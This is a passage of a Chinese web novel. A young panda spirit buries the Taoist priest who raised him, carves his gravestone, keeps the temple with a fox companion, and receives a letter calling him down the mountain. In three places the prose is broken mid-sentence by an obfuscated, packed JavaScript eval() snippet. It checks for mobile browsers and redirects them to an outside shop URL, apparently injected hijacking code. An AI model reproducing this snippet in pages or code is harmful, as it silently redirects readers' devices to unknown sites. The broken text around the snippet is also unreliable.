道一说过,他在这道观住了四十年,每天看着那条路,看着山下的人来来去去,看着日出日落,看着四季轮转。少年想,把他葬在这里,他就能一直看着道观,一直看着山下,一直看着他想看的一切。 他用木锹挖土。他刚化形,人的身体还用不习惯,手脚不太协调。阿绯蹲在旁边,想帮忙,但它的小爪子挖不动土,只能蹲在那里陪着他。 坑挖好了,他把道一的遗体放进坑里。道一的身上穿着他最常穿的那件灰布道袍,洗得发白,补丁摞补丁。手边放着那根枯竹枝——黑白从竹林里叼回来的那根,他插在陶罐里插了好久,干透了,颜色从绿变成了褐。 少年把它放在道一手里,让他的手指轻轻握着。然后他用土一铲一铲地把坑填平,堆起一个小小的坟包。 他从竹林里搬来几块石头,围在坟包周围,又从道观后院搬来一块青石板,立在坟前。石板上没有刻字,但他用手指沾了墨水在石板上写了一个“道”字,又写了一个“一”字。 日后再给亲手道一刻字。 阿绯蹲在旁边,看着那个小小的坟包,看着那块青石板上的字。“道一。” 它念了一声,声音小小的。 少年蹲在坟前,低着头,没有说话。少年在坟前跪了很久。太阳从东边移到西边,竹林的影子从一边移到另一边。 阿绯一直蹲在旁边,虽然很饿也没有走,还给黑白带来厨房剩下的窝窝头。 天快黑的时候,少年站起来,对着坟包鞠了一躬。 他转身往回走,走了几步,停下来,回头看了一眼。坟包安安静静地躺在竹林里,几棵老竹子围着它,风一吹,竹叶就沙沙地响。 从那里,能看见道观的屋顶,灰色的瓦片在暮色里泛着微微的光。再往远看,山下的路已经看不清了,但他知道它在。道一也知道。 他转过身,走回道观。 那天晚上,少年把道观的门关上了。他从里面把门闩插好,然后回到后院,坐在屋檐下。 阿绯趴在他脚边。月亮升起来了,照在院子里,照在老树上,照在石桌上,照在黑白以前写字的石板上。石板地上的字早就干了一遍又一遍,但少年还记得每一个字。 他记得第一个“人”字,歪歪扭扭的,像站不稳的小熊。他记得“路”“走”“知”“家”,记得“道一好”,记得“人心不同,各如其面”。 “黑白。”阿绯叫了一声。 少年低头看它。 “你以后怎么办?”阿绯问。 少年想了想,抬头看着月亮。 “守着道观,”他说,“守得住就守。守不住了,就回山里。” 他顿了顿,“我听道一的话。” 阿绯把脑袋搁在他的脚背上。“我陪着你。”它说。 少年伸出手,摸了摸它的头。他的手已经不是毛茸茸的熊爪了,变成了人的手,手指修长,指甲圆润。但摸头的动作还是一样的,轻轻的,慢慢的,从耳朵后面滑到脖子。 “嗯。”他说。 月光下,少年的影子落在地上,瘦瘦的,长长的。阿绯的影子挨在旁边,小小的,毛茸茸的。 少年听了一会儿,站起来,走进屋里。他在道一睡过的床边站了一会儿,然后走到墙角的竹筐前。竹筐还在,里面铺着稻草,垫着旧棉被。他蹲下来,用手摸了摸那些稻草,然后站起来,走到床边,躺了下来。 床很大,他很小,躺在上面空荡荡的。他把道一的被子拉过来,盖在身上。被子里还有道一的气味,淡淡的,像晒干的草药,像老树皮,像雨后竹林里的风。 他把被子拉到下巴,闭上眼睛。 阿绯跳上床,在他脚边蜷成一团。 过了一会儿,少年听见阿绯的呼吸变慢了,变沉了。它睡着了。他没有睡,他睁着眼睛,看着头顶的房梁。月光从窗户纸透进来,落在他的脸上,凉凉的。 他想道一了。 他把被子拉上来,盖住了半张脸。被子里那个气味还在。他闭上眼睛,眼泪从眼角滑下来,落在枕头上,没有声音。 20. 第二十章:第二天 黑白是从道一的床上醒来的。 阳光从窗户纸透进来,落在他的脸上,带着暖意。他睁开眼睛,看着头顶的房梁——那道房梁他看过无数次,以前趴在竹筐里的时候,仰起头就能看见。 但现在不一样了,他现在躺在道一的床上,枕着道一的枕头,盖着道一的被子。被子里还有道一的气味,淡淡的,像晒干的草药。 他坐起来,被子滑到腰间。他低头看了看自己的手——不是毛茸茸的爪子了,是人的手,手指修长,骨节分明,指甲圆润干净。 他把手翻过来,看了看掌心,又把手握成拳头,松开。这双手他不熟悉,但又觉得应该是这样的。 他掀开被子,下了床。脚踩在地上,凉凉的。他站直了身体——身姿挺拔,像山间的青松,肩背舒展,腰背笔直。道一以前教他打拳的时候就说过,站要站直,坐要坐稳,不管是什么样子,脊梁不能弯。 他穿着一件白色的中衣,是道一的,太大了,松松垮垮地挂在身上。他走到柜子前,打开柜门,里面叠着道一的衣服。他拿出一件灰布道袍,展开来看了一眼,又放了回去。这些衣服他舍不得穿。 他找出自己以前垫过窝的那件,他穿好衣服,把腰带系紧,把过长的袖子挽起来,又拿起木簪想把头发挽起来。他的头发很黑,很密,因为不熟练只能勉强挽在头顶,用木簪别住,不如道一那般整齐。他晃晃头,头发还是稳当地挽在头顶没散开,就出门了。 他走到厨房。灶台还是那个灶台,铁锅还是那口铁锅,面缸还是那个面缸。他蹲下来,往灶膛里塞干草,拿起火折子打火。火折子是道一用过的,握在手里似乎还回忆起道一手指的温度。 他打了一下,着了。火苗舔上干草,噼噼啪啪地响。他往灶膛里加了几根细枝,火旺了一些,又加了几根粗的。做这些事情的时候,他的手指很灵活,拿柴、添火、控火,每一动作都精准利落。 道一病重的那段日子,是他天天在灶前烧火做饭。那时候他是一只小熊,爪子毛茸茸的,捏不住火折子,就用嘴叼,叼着伸进灶膛里,燎得胡子都卷了。 现在他有了人的手指,修长的、灵活的,能轻轻松松地握住火折子,能精准地捏起一小把干草塞进灶膛,能用指尖试锅里的水温。他看着自己的手在灶台前忙碌,忽然想,如果道一看见他现在的样子,一定会夸他。 想到这里,他的手顿了一下,停了一会儿,然后继续。 他从面缸里舀出杂粮面,加水,用手搅和。面团在他手里翻来翻去,越揉越光滑,越揉越有劲。他的手指在面团上按压、揉捏、折叠,每一个动作都行云流水。 道一病重的那些天,他每天都要揉面,每天都要做窝窝头。那时候他的爪子不够灵活,揉得满案板都是面,做出来的窝窝头大大小小、歪歪扭扭的。 他把面团揪成小块,放在手心里搓成圆球,整整齐齐地排在案板上,大小一致,圆润饱满。把窝窝头放进蒸笼,盖上盖子,蹲在灶台前等着。 火光照在他脸上,他的面容冷峻,线条分明,带着少年人特有的清瘦。他的脸上没有多少表情,眼睛低垂着,睫毛的影子落在颧骨上。他的脸颊还带着一点婴儿肥,圆润的弧度中和了冷峻的线条,让他看起来没有那么疏离。 但他的眼睛不一样。那双眼睛黑亮亮的,和以前一样,里面映着火光。可里面多了东西——以前那双眼睛里只有好奇和天真,现在多了一层悲伤的薄雾。 窝窝头熟了。他掀开锅盖,蒸汽涌出来,白茫茫的,热腾腾的。他用筷子夹出一个,放在碟子里,晾了晾,掰了一小块放进嘴里。比用小熊爪子做出来的好多了。 他把窝窝头从蒸笼里拣出来,放在碟子里。阿绯蹲在厨房门口,看着他做这些事。 它昨晚就来了,睡在床尾的地上。早上黑白醒来的时候,它已经醒了,但没有出声,就蹲在旁边,陪着黑白穿衣服、挽头发、进厨房。 黑白把窝窝头分了一个给阿绯,自己也坐在旁边吃下了自己的那一份。饭后,黑白用手帕把那个留出来窝窝头的包好。 黑白揣好窝窝头,走到阿绯面前,蹲下来,伸出手摸了摸它的头。跟他说:“我们去看道一。” 阿绯站起来,跟在他脚边。 他们穿过竹林,走到道一的坟前。黑白蹲下来,把手帕打开,把窝窝头放在坟前的石头上。 然后他就蹲在那里,沉默了半天才开口:“我做窝窝头了,做得比之前好,大小一样的。” 他又蹲了一会儿,然后伸手拿起那块窝窝头,用手帕重新包好,揣进怀里。 道一说过,不可以浪费粮食。如果放在坟头不带回去,就浪费了。道一的话,他都听。 他站起来,不像人类那般有诸多礼仪和程序,看完道一就转身往回走。阿绯跟在后面,两个的脚步声一前一后。 回到道观,黑白拿起扫帚,开始扫地。前殿、后院、院子,每一个角落都扫得干干净净。扫完了,他又打了一桶水,用抹布擦供桌、擦香案、擦三清像脚下的台子。 三清像还是那三尊,高高地立在那里,眼睛半睁半闭,看着很远的地方。黑白以前看它们的时候,觉得它们在看道一。现在他看它们,觉得它们也在看他。 他学着道一的样子,从香案上抽出三根香,点燃,插进香炉里。青烟袅袅地升起来,在他面前绕了一圈,散开了。他退后两步,合十,拜了三拜。他不知道该说什么,就在心里说了一句:请保佑道一。 扫完了地,擦完了供桌,上完了香,他站在院子里,看着那棵老树。老树的叶子落了大半,光秃秃的枝丫伸向天空。他深吸了一口气,站定,缓缓抬起手,开始打拳。 这是道一教他的,从他还是小熊的时候就教了。道一说,拳不在形,在心。他不是很明白,但他每天都练。现在变成人类的身体更加灵活了。 抬手,转身,出拳,收势,每一个动作都干净利落,虎虎生风。他的身姿挺拔,像山间的青松,手臂伸展的时候像松枝舒展,脚步移动的时候像松根扎地。 他打完一整套,打到浑身发热,额头微微出汗。 他想起道一教他打拳的样子。道一站在他面前,动作很慢,每一个招式都拆开来讲,为什么要抬手,为什么要转身,为什么要收势。他一一照着做。 道一说,不用急,身体会记住。现在他的身体记住了。每一拳打出去,都带着道一教他的那些道理——抬手不是为抬手,是防;转身不是为转身,是化;收势不是为收势,是藏。 阿绯蹲在屋檐下,看着他在院子里打拳,黑白打完了,收势站定,喘了几口气。汗水从额角滑下来,顺着脸颊滴在地上。他站了一会儿,然后转身走进屋里,从角落里翻出凿子和锤子。 那些工具是道一的,木柄被道一的手磨得光滑发亮。他拿着工具走到后院,在堆放石料的地方翻找了一阵,找出一块青石板,不大不小,刚好可以做墓碑。 他把石板搬到院子里,蹲下来,拿起凿子,开始刻字。以前他只会用爪子在地上写,现在他有了人的手,能握住凿子了,但他从来没有刻过碑。他的手指握紧凿子,另一只手举起锤子,敲了一下。凿子在石板上滑了一下,划出一道歪歪的痕迹。他又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446835|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲了一下,这回稳了一些。 每一个笔画都要敲很多下才能成形。但他不急,道一教过他,做事情不要急,慢慢来,做对了比做快了重要。 整个墓碑就刻写了四个字:道一之墓。他看了看,觉得还可以。不是很好看,但道一不会嫌弃的。 他把石板靠在墙边,收拾好工具,洗了手。阿绯走过来,蹲在他脚边。 “刻完了?”它问。 “嗯。” 阿绯看了看那块石板,又看了看黑白。 黑白蹲下来,伸手摸了摸石板上的字,指腹划过凿痕,粗粗糙糙的,像道一摸他头时手上的茧子。 他站起来,走到屋里,把道一的衣服从柜子里拿出来,叠好,放回去。他拿出针线——道一缝补衣服用的,拿起道一的旧道袍,比了比自己的身量,太大了。 他学着道一的样子,把袖子折进来,用针线缝。他的手很灵活,揉面、打拳都很利索,但缝衣服不一样。针脚歪歪扭扭的,有的密有的疏,有的线紧了把布揪成一团,有的线松了耷拉着。他缝了一会儿,拆了重来,又缝了一会儿,又拆了。 阿绯蹲在旁边看他,看着他笨拙地捏着针,一针一针地扎进布里,线在布面上走出一条歪歪扭扭的路。 它想说“我来帮你”,但它没有手。它只能蹲在那里,陪着他。 黑白慢慢摸索着缝了好久,终于把袖子改短了一截。他穿上试了试,袖子还是有点长,但比之前好多了。他看了看袖口的针脚——歪歪扭扭的。如果道一看见了,一定会笑。 他把道袍脱下来,叠好,放在床头。 傍晚的时候,他端着碟子走到院子里,在桌子旁边坐下来。窝窝头已经凉了,他掰了一块放进嘴里,慢慢嚼。阿绯蹲在石桌上,面前也放了一小块窝窝头。它不太爱吃窝窝头,但黑白给它,它就吃。 太阳落山了,天边的云被染成橘红色,一片一片的,像鱼鳞。黑白看着那些云,想起道一以前也喜欢在这个时候坐在屋檐下喝茶。他端着茶杯,看着天边,有时候会跟他说一句话两句话。说今天天气好,说山下的收成,说竹林里的笋今年发得多。那些话他以前不在意,现在每一句都记得。 天黑了。黑白收拾好碟子,洗了碗,关了门。他走到床边,坐下来。阿绯跳上床,在他脚边蜷成一团。他躺下来,把被子拉到下巴。他闭上眼睛,过了一会儿又睁开,看着头顶的房梁。房梁上有一道细细的裂缝,以前他没注意过。道一也许注意过,也许没有。他看了好一会儿,又闭上了眼睛。 “黑白。”阿绯小声叫了一声。 “嗯。” “你明天做什么?” 黑白想了想。 “刻碑。还需要再打磨一下。”他停了一下。“还要练拳。还要做窝窝头。” 阿绯把脑袋埋进尾巴里。“那你每天都做这些?” 黑白沉默了一会儿。“嗯。道一以前每天也做这些。” 阿绯没有再问了,怕又让黑白伤心。过了一会儿,它听见黑白的呼吸变慢了,变得绵长。 它把脑袋从尾巴里探出来,看了一眼。黑白睡着了,眉头微微皱着,嘴角没有弧度,脸上没有什么表情。月光从窗户纸透进来,落在他的脸上,他的睫毛很长,在颧骨上投下一小片阴影。他的脸颊还是圆圆的,带着一点婴儿肥,但眉头皱着,让那张脸看起来比他的年纪老成了许多。 阿绯看了一会儿,把脑袋缩回去,也闭上了眼睛。 第二天早上,黑白起来的时候,阿绯还在睡。他没有叫它,自己穿好衣服,挽好头发,去了厨房。跟昨天说的那样开始做事。 21. 第二十一章:新的日子 碑立好的那天,黑白把青石板安在坟前,培上土,拍实。 石板上,“道一”两个字凿得深深的,笔画工整,边上没有有毛茬,黑白尽心做到最好。他退后两步,看着那块石板,心里颇为满意。站了一会儿,转身回去了。 从那以后,他每天都去看看道一。早上起来,做完窝窝头,吃完了,用手帕包一个揣进怀里。到了坟前,他把窝窝头放在石板上,然后说一两句话——“今天风大”“竹子又发新叶了”——有时候什么都不说,就那么蹲着。 阿绯有时候跟着去,有时候不去。它去了就蹲在旁边,尾巴卷着身子,安安静静的。风把竹叶吹得哗哗响,把黑白的头发吹到脸上。 道一留下的笔墨纸砚不多,他舍不得用。纸叠得整整齐齐放在抽屉里,墨和砚台洗干净了收好,毛笔用布包着。 他每天练字,用的是毛笔蘸水,在石板上写。石板是以前那块,灰白色的,表面磨得光滑。水痕落上去,很快就干了,干了又能写。 他先把昨天写的字在石板上默一遍,然后翻开字帖,照着写。字帖是道一自己写的,字迹工整,一笔一画。 阿绯趴在石桌上,下巴搁在前爪上,看着他一笔一画地写,还会故作老成进行点评。 “这个字不好看。”阿绯说。 黑白没理它。他又写了一个。 “这个比刚才那个好一点。”阿绯又说。 除了练字,黑白还会坐在院子里读书,道一留下的每一本书都被他翻阅过,遇到感兴趣的就拿在手里仔细研读,兴致来了还会开口朗诵。 阿绯有时候也跟着一起读书,就是次数不多,除非无聊狠了。它本来就是一只有点懒散的小狐狸,原本学字就是为了和黑白交流,现在黑白能说话了,它就不乐意再去学习了。 闲着无聊的时候,他们两个就凑在一起研究黑白的身体。经过多次实验,黑白还是能变会熊猫的样子,身形比以前大了一点,但也还是一副幼崽的样子,也能开口说话。黑白在道观的时候更喜欢用人类的身体,因为人类的身体更灵活,做事情更方便。 和阿绯一起去竹林里玩的时候,会变成熊猫的样子,奔跑的速度更快,在山里活动是也更灵敏。 无论是熊猫的身体还是人类的身体,黑白的力气都变大了很多,能轻易扛起一捆比他好高的柴火,丝毫不费力。在和阿绯玩闹的时候,总能轻易让阿绯开口求饶。 时间冲淡了悲伤,且道一就一直在后山注视着自己,黑白便觉得道一一直陪伴着自己,只是不再说话。但是没关系啊,黑白在心里想着,以前道一说话,自己听着,现在自己说话,道一听着,每天的生活和以前没有什么不同。 因为黑白要守着道观,阿绯怕黑白一个人在道观孤单,就搬来和黑白同住,晚上就睡在黑白原来的竹筐里。搬家时,它还让黑白带上一个大背篓陪它去后山搬家,它囤了很多食物和一些小收藏,装满了背篓。 天气变得越来越冷了,黑白也不再刻意保持人类的身体,每天昨晚功课,就变回毛茸茸的熊猫身体。 在活泼的阿绯地带领下,两小只在道观和后山乱窜,还对道一的坟墓进行了装饰,在山里遇见好看的花花草草变挖来种在坟前,他们把这些植物照料的很好,让道一的坟前变得花花绿绿的。 还从小溪里捡来很多小石子,围绕道一的坟墓铺了宽宽的一圈。 . 黑白正在后院练字,前院传来敲门声。和阿绯疑惑的对视一眼,放下毛笔,走到前院,站在门后面。他没有开门,先听了一下。门外有两个人,一个在咳嗽,另一个在小声说话。 黑白拉开门闩,把门开了一道缝。门外站着一个穿靛蓝绸袍的中年人,身后跟着一个小厮。 那中年人黑白认识,姓王,以前来上过香,还拿食物逗过自己。 王老板看见门开了,正要迈步,看见门后站着一个少年,愣了一下。少年约莫十二三岁,穿着灰布道袍,袍子改过,袖口的针脚歪歪扭扭的。头发用木簪挽在头顶,面容冷峻,线条分明,两颊却带着一点婴儿肥。 王老板盯着他的脸看了几秒,觉得眼熟。 “小道长,”王老板拱了拱手,“请问,原来这观里的老道长呢?” 黑白看着他,沉默了一会儿。“去世了。” 王老板愣了一下,叹了口气。“上次来还好好的,怎么说走就走了。” 他语气里带着一点感慨,“世事无常。” 他这次来,是来还愿的。上次在观里烧了香,回去以后那桩纠缠了半年的生意忽然就顺了,对方松了口,合同签了,银子到账了。他不知道是巧合还是神仙保佑,但既然许了愿,就得来还。 他是个生意人,讲究诚信。对人有诚信,对神仙也得有诚信。所以他带了小厮,带了满满一食盒的贡品,爬了半个时辰的山,专程来道观还愿。 “你是?”他看向黑白。 “他徒弟。叫黑白。” 王老板又愣了一下。黑白。那只小竹熊也叫黑白。他看了看少年的脸,又看了看他的眼睛,又看了看他身上那件改过的道袍。 这孩子眉眼间和老道长有几分相似,难道是老道长的什么亲戚?老道长临走前收的徒弟?他没想明白,也不打算想了。他把食盒递给身后的小厮,拱了拱手。 “王某人今日来还愿,想给三清祖师上炷香,不知道方便不方便?” 黑白看着他,想了一下,退后一步,把门打开,侧身让开。 “请进。” 王老板迈过门槛,走进院子。小厮跟在后面,提着食盒,眼睛四处张望。 黑白带他们走到正殿门口。王老板从食盒里取出香烛供品,一一摆在供桌上。苹果、糕点、素酒,摆得整整齐齐。他点了香,插进香炉里,退后两步,合十,拜了三拜。小厮站在殿门口,提着空食盒等着。 黑白站在殿门一侧,没有进去。 阿绯躲在殿门的阴影里,探出半个脑袋。它的眼睛滴溜溜地转,看看王老板,看看小厮,又看看黑白。 它有点担心。黑白一个人接待香客,被刁难了怎么办?它从阴影里悄悄挪出来,贴着墙根,溜到黑白脚边,蹲下来。没有人注意到它。王老板在专心拜神,小厮在专心等王老板。只有黑白低头看了它一眼。 阿绯仰着头看他,眼睛亮亮的,尾巴在地上轻轻扫了一下。黑白的嘴角微微动了一下,没有出声,把目光转回正殿。 王老板拜完了,转过身来,在院子里站了一会儿。小厮跟在他身后,提着空食盒。贡品全部留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黑白带着阿绯关上门,走回院子里。他心绪复杂,原来除了自己还有人记得道一,他现在迫不及待想去跟道一说。刚刚在香客面前装出来的沉稳模样已经不在了,他现在脸上带着笑意。 到了坟前,黑白蹲下来对道一说:“姓王的那个香客来了,做布匹生意的那个。他来还愿。”说话的时候,手指无意识地拨着脚边的一片落叶。 “他说上次回去以后生意就顺了。他说这观里的神仙灵验。” “他还问起我。问我那只小竹熊去哪里了。我说回山里了。” “他还问起来了你。” 絮絮叨叨地给道一说了半天今天来还愿的香客,然后才回到道观,黑白把前殿的门打开了。 自从道一去世,他把门关了很久。现在他打开了。香火不会好,这他知道。道一在的时候香火就不好,一年到头也没几个人来。但道一在的时候门是开着的。现在他把门也开着。 果然,一年到头也接待不了几回。 偶尔有人来了,他就学着道一的样子,话不多,营造高深的模样。殊不知,那些人看着他如同仙童般的模样,心里不觉得高深,只有一腔满心的欢喜怜爱。 阿绯每次都躲在暗处。它不露面,但它一直在。黑白在前殿接待人的时候,它就蹲在殿门后面的阴影里,竖起耳朵听着。它会陪着黑白。 22. 第二十二章:山下来信 日子过得平平常常。春天的时候,院子里的老树发了新芽,嫩绿的,一小片一小片,在风里轻轻颤。墙根的兰草又冒出了几丛,去年的老叶子还绿着,新叶子从中间钻出来,嫩生生的。 黑白每天早上起来,做窝窝头,吃完了包一个去后山。有时候也不做,直接去竹林吃竹子,再给道一挑选一枝竹叶。跟道一说几句话,说今天的天气,说院子里的花开得正好,说阿绯又干了什么蠢事。 说完回来,打拳,练字,上香,扫地。下午有时候在院子里晒太阳,有时候去竹林里跑一跑,变成熊猫的样子,在山里窜来窜去。 阿绯跟在他后面,两个在山坡上追蝴蝶,在溪边喝水,在落叶堆里打滚。晚上回来,做饭,吃饭,然后坐在院子里看星星,阿绯趴在他脚边。 日子平淡,安稳,像山间的溪水,不急不慢地流着。 道观的后院和从前大不一样了。黑白和阿绯都喜欢花花草草,两个常常一起上山,看见好看的就挖回来。道一的坟前种了一圈,道观的后院也种了不少。 没有正经的花盆,就用破了的罐子、豁了口的碗、漏水的小木桶,装上土,把花栽进去,往墙角一摆。破罐子歪歪扭扭的,里面的花开得热热闹闹的。 阿绯最爱干这个。每次出门,它的眼睛就在草丛里、石缝里、树根底下扫来扫去,鼻子一抽一抽的,像是在嗅什么了不得的宝贝。 “黑白,你看!”它蹲在一丛野花前面,尾巴翘得高高的,“这个好看!” 那是一丛不知名的野花,开在竹林边上的石头缝里。花很小,紫蓝色的,一簇一簇地挤在一起,花瓣上还带着露水。 黑白走过去,蹲下来看了看。 “挖回去?”他问。 “挖回去!”阿绯说。 黑白从旁边捡了一根树枝,开始刨土。阿绯也用小爪子帮忙刨,两个刨了一会儿,把整丛花连根带土挖了出来。黑白用一片大叶子把根包好,捧在手里。阿绯在前面带路,跑两步回头看他一眼。 “你快点!” “花又不会跑。” “万一它蔫了呢!” 回到道观,阿绯指挥黑白把花种在什么地方。它在院子里转了好几圈,最后选中了墙角那个破陶罐旁边的一个缺口。 “种这儿。”它用鼻子指了指。 黑白蹲下来,把土刨松,把花栽进去,再把土拍实。阿绯蹲在旁边,歪着脑袋看了一会儿,又跑过去用爪子把土拢了拢,又退后两步看了看。 “歪了。”它说。 黑白看了看。“没歪。” “往左偏了一点。” 黑白把花往右挪了挪。 “又偏右了。” 黑白忍住了,又往左挪了一点。 阿绯看了好一会儿,终于点了点脑袋。 “行了。”它蹲在花前面,尾巴卷着身子,眼睛眯成一条缝。 “过两天就会开更多的花。” 黑白没有接话,站起来,拍了拍手上的土。他看着那丛小小的紫蓝色花,栽在破陶罐旁边,风吹过来,轻轻晃了晃。他嘴角弯了一下。 阿绯不光挖野花,还挖蕨草、挖青苔。它在山上看见什么好看的,都要停下来研究半天。有一次它在溪边的石头上发现了一大片青苔,绿莹莹的,厚厚软软的,像一层小毯子。它蹲在那里看了好久,然后回头喊黑白。 “黑白!这个能挖回去吗?” 黑白走过去,看了看。“挖回去种哪儿?” “种在石头上!”阿绯的眼睛亮亮的,“后院那块大石头,光秃秃的,不好看。种上青苔就好看了。” 黑白觉得有道理,就用树枝把青苔一片一片地撬下来,装在竹篮里。 阿绯在旁边帮忙,用鼻子拱,用爪子扒,弄得满身是泥。黑白看着它那副样子,想笑又怕阿绯气恼,只好把嘴巴抿住在心里偷偷笑。 回到道观,他们把青苔铺在那块大石头上。黑白一片一片地铺,阿绯在旁边用爪子轻轻按实。铺完了,阿绯退后几步看了看,又跑过去把边角的地方按了按,又退后看了看,满意地甩了甩尾巴。 “好看!”它说。 黑白看了看那块石头。青苔绿莹莹的,软软的,铺在石头上,像给石头穿了一件绿衣裳。确实好看。 道一的坟前也陆陆续续种了更多的花,春天开一茬,夏天开一茬,秋天再开一茬,一年四季都有颜色。阿绯每天早上起来,第一件事不是吃早饭,而是跑去后山看看花开了没有。 回来以后就跟黑白汇报——“那丛黄花开了三朵”“石竹又冒了两个花苞”“蕨草长新叶子了”——黑白耐心的听着,还会与阿绯一起讨论。 院子里也越来越满了。连墙角那棵老树下面,阿绯都种了几丛鸢尾,春天开蓝紫色的花,一簇一簇的。整个后院满满当当的,到处都是花花草草。 阿绯每天也有了自己的事儿,看看哪盆该浇水了,哪盆长了新叶子,哪盆开了花。它用小爪子刨土,用鼻子拱土,用尾巴扫落叶。黑白有时候帮它浇水,有时候帮它松土,更多的时候就坐在屋檐下看着它在花盆之间跑来跑去。 . 黑白正在院子里做木工。他答应了阿绯再做一个花架子,放在柴房门口。阿绯说绣球没地方放了,挤在墙角不舒服。黑白挑了根竹子,锯成段,用刨子把表面磨光。阿绯蹲在旁边看。 黑白把竹架子的腿立起来,量了量尺寸,正要凿榫眼,前院传来敲门声。 黑白放下凿子,拍了拍身上的竹屑,走到前院。阿绯跟在后面,在门口蹲下来,竖起耳朵。黑白拉开门闩,把门打开。 门外站着一个年轻人,穿着一身灰布短褐,肩上挎着一个布褡裢,满头大汗。他手里拿着一个信封,看见黑白,喘着气问:“请问,道一道长住在这里吗?” 黑白看着他手里的信封,微微愣了一下。“道一已经不在了,我是他徒弟。你有什么事?” 年轻人啊了一声。“这封信……是寄存行托我送的。说是送到山上的道观,交给一个叫道一的老道长。” 他把信封递过来,“我就是个送信的,山下的镇子到山上这一片都归我跑。这封信在镇上放了好些日子了,没人上山,我就自己跑一趟。” 黑白接过信封。信封是黄褐色的,上面写着“道一亲启”三个字。字迹工整,但墨色已经发淡了。他翻过来看了看,封口盖了一个红色的印章,印着“老余寄存行”几个字。 “你稍等。”黑白说。 年轻人站在门口,用袖子擦汗。黑白转身进院子,从厨房里舀了一碗水,端出来递给他。 年轻人接过去,咕嘟咕嘟喝完了,用袖子抹了抹嘴,把碗还给黑白。 “多谢小道长。”他把碗递过来,“我还有几封信要送,就不耽搁了。”他拱了拱手,转身沿着山路往下走。 黑白站在门口,看着他的背影消失在竹林后面,然后关上门,走回后院。阿绯跟在他脚边,仰着头看他手里的信封。 “这是什么?” “信。”黑白在石凳上坐下来,把信封翻来覆去地看。 “谁写的?” “不是谁写的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446837|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑白指了指封口的印章,“寄存行。就是存东西的地方。” 阿绯跳上石桌,凑过去看那几个字。它认字,但认得不快,一个字一个字地念。“老、余、寄、存、行。”念完了,歪着脑袋想了想。 “存东西的地方?存什么东西?” “不知道。”黑白用手指挑开封口,把里面的纸抽出来。不是信纸,是一张对折的笺纸,上面印着格式的文字,空白处用毛笔填了字。黑白一个字一个字地看。 “尊客道一:大泽城东街老余寄存行敬启。查有陈姓客商于本行寄存物品,指定由尊客道一收取。寄存期限已满,请于本年底前持信来取。逾期未取,本行将按规处置,折价留存。再逾半年,银货两清,不再另行通知。附路线图一纸,望施主查收。” 黑白看完,把笺纸放下。阿绯凑过来,把脑袋伸到笺纸上面,一个字一个字地念。念完了,抬起头看着黑白。 “就是说,有个人在大泽城存了东西,让道一去拿?” “嗯。”黑白把笺纸翻过来,背面画着一张简单的地图。从山道到大路,从大路到官道,从官道到渡口,从渡口到大泽城。线条粗粗的,标注了沿路的地名,大致能看明白。 “大泽城在哪儿?”阿绯问。 黑白看了看地图。“很远。” 阿绯蹲问道:“你不去?” 黑白没回答。 “那是道一的东西哎。”阿绯把脑袋凑近他,“你不想知道是什么吗?” 黑白想了想。“不太想。”他说的是实话。他对那件寄存的东西没什么兴趣。不知道是什么,不知道是谁存的,不知道为什么要给道一。 他在这山上住了这么久,从来没有想过山下的世界有什么。道一在的时候,他好奇过——好奇山下的集市,好奇那些来来往往的人,好奇道一以前去过的地方。 但道一不在了以后,那些好奇也慢慢淡了。山下和山上,大概也差不多。有房子,有人,有路。他在山上过得好好的,有院子,有花,有阿绯,有道一的坟。他不需要别的东西。 “可是那是道一的啊。”阿绯又说了一遍。 黑白知道它的意思。那是道一的。道一不在了,但有人记得他,有人替他存了东西,存了好多年。如果不去拿,东西就没了。他不在乎那是什么东西,但他在乎那是道一的。他其实也有点犹豫久。 阿绯在他脚边转了一圈。“你怕下山?”它问。 黑白想了想。“不是怕。是没什么兴趣。” “那你不想知道道一以前的事吗?存东西的人姓陈,一定是道一的朋友。你不想知道他朋友是什么样的人吗?” 黑白看了阿绯一眼。阿绯的眼睛亮亮的,里面没有害怕,只有好奇和期待。它没下过山,它想去看看。黑白知道,它说这么多,有一半是为了它自己。 “你想去?”黑白问。 阿绯的尾巴扫了一下。“我还没下过山呢。”它说,声音里带着一点不好意思,“我想去看看。” 黑白看着它。阿绯平时大大咧咧的,什么都不在乎,但说这话的时候,耳朵往后抿了一下,像是怕他笑它。黑白没有笑。他想了想,又把笺纸拿起来看了一遍。“陈姓客商。”他不认识什么陈姓客商,不知道是不是道一提过的陈大哥。 他把笺纸放下,站起来,走到后山。阿绯没有跟来。到了坟前,黑白蹲下来,把信封放在石板上。 “道一,有人给你寄信了。”他的声音很轻。“大泽城的寄存行,说有个人存了东西,指定要你去拿... ...” 23.第二十三章:下山 晚上,黑白躺在床上,阿绯蜷在他脚边。月光从窗户纸透进来,落在床尾。他睁着眼睛,看着头顶的房梁。 “黑白。”阿绯小声叫了一声。 “嗯。” “你想好了吗?” 黑白沉默了一会儿。“想好了。” 阿绯从尾巴里探出脑袋,看着他。“去吗?” “去。” 